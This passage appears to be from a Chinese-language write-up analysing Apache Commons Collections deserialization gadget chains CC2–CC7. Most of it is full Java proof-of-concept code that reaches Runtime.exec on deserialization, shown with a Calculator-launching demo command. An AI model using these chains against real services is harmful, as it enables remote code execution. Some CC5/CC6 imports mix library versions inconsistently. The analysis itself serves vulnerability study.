10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.ClassLoader;
import java.lang.reflect.Field;

public class cc2 {
public static void createPseson() throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();

}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

}

接下来需要寻找自动触发newTransformer方法的点,在前面我们已经知道了

TransformingComparator#compare

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这里的this.transformer是可控的,所以我们可以使用InvokerTransformer来调用TemplatesImpl#newtransformer来实现RCE

最终POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2 {

public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);//赋值this.transformer
PriorityQueue queue = new PriorityQueue(1);//创建一个PriorityQueue对象

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

Object[] queue_array = new Object[]{templates,1};

Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);//将queue赋值为queue_array

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);


Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}


}

poc的一些说明:

1.这里设置恶意类的父类为AbstractTranslet,因为在defineTransletClasses这个方法中存在一个判断

1
2
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;

这里的i值为0,而默认的_transletIndex值为-1,如果transletIndex的值小于0就会抛出异常

1
2
3
4
if (this._transletIndex < 0) {
err = new ErrorMsg("NO_MAIN_TRANSLET_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}

2.这里不像第一条利用链一样使用add值进去而是使用反射设置queue的值,原因是传入的数组是templates和1,add的时候会将其进行比较,templates是一个类无法与1进行比较就会出现错误

3.这里传入queue数组第一个值为templates(TemplatesImpl类)的原因是调用compare时传入了一个obj1

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

追溯一下obj1怎么来的

1
2
3
Object var5 = this.queue[var4];
int var6 = var4 + 1;
if (var6 < this.size && this.comparator.compare(var5, this.queue[var6]) > 0) {

obj1也就是这里的var5,是从queue数组中取出来的,所以在这里我们需要设置queue中第一个值为TemplatesImpl,为什么不能设置为第二个呢?是因为调用compare时,会先对第一个进行调用,如果我们设置TemplatesImpl在第二个位置,则会报出1没有newTransformer方法的错误

利用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

Commons Collection 3

环境搭建

这里的环境和cc1一样,commons-collections-3.1

利用链分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

这里用的是cc1的前半段+cc2点后半段稍微改动一下,在cc3中使用了TrAXFilter,这个类的构造方法会调用newTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _useServicesMechanism = true;

public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer()
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

在cc3使用了InstantiateTransformer,它的的transform方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
}

这里我们如果将input设置为TrAXFilter那么就会调用它的构造方法触发TemplatesImpl#newTransformer

最终POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc3 {

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

Common Collection 4

环境搭建

和cc2一样,commons-collections4.0

利用链分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

其实就是cc2+cc3

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc4 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates,1};

Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);


Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

Commons Collections 5

环境搭建

commons-collections 3.0

利用链分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

这里使用的是cc1的后半段也就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;

public class cc5 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}

现在只要调用LazyMap#get并且传递任意内容即可触发后续的链实现RCE

在cc5中用到的是TiedMapEntry中的toString方法:

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

跟进getValue方法:

1
2
3
public V getValue() {
return this.map.get(this.key);
}

这里只要map的值为我们前面构造好的LazyMap,即可触发rce

根据

1
2
private final Map map;
private final Object key;

可知map是我们可控的,所以构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.util.HashMap;

public class cc5 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.toString();
}
}

接下来我们需要找哪里调用了toString方法,在cc5中使用了BadAttributeValueExpException这个类

BadAttributeValueExpException#readObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

这里使用了toString方法,valobj的值是从field里面取出来的,所以我们通过反射来设置BadAttributeValueExpExceptionval的值为TiedMapEntry即可触发命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

Commons Collections 6

环境搭建

commons-collections3.0

利用链分析

1
2
3
4
5
6
7
8
9
10
11
12
13
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
...
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

cc6的后半段也和cc1后半段一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;

public class cc6 {

public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}

cc6中通过TiedMapEntry#hashCode触发对TiedMapEntry#getValue的调用从而触发了LazyMap#get

1
2
3
4
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

poc可以写成如下这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.util.HashMap;

public class cc6 {

public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.hashCode();
}
}

现在就需要找到在哪儿触发hashCode方法,cc6中使用的是HashMap#hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

这里的k不是我们直接可控的,于是我们找调用hash方法的地方,这里用到了HashMap#put:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public V put(K key, V value) {
if (table == EMPTY_TABLE) {
inflateTable(threshold);
}
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

然而这里的key也不是我们直接可控的,同样的思路找调用了put方法的地方

HashSet#readObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in size
int size = s.readInt();

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

在第19行调用了map.put,其中map可以控制为HashMap,而传入的第一个参数e是用readObject取出来的,于是我们看一看writeObject怎么写的

1
2
3
4
5
6
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
......
for (E e : map.keySet())
s.writeObject(e);
}

我们可以控制传入map的keySet返回结果来控制变量

POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class cc6 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

TiedMapEntry tiedmap = new TiedMapEntry(map,123);

HashSet hashset = new HashSet(1);
hashset.add("foo");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);

Object node = array[0];

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

Commons Collections 7

环境搭建

jdk1.8

commons-collections3.0

利用链分析

1
2
3
4
5
6
7
8
9
10
11
12
13
Payload method chain:
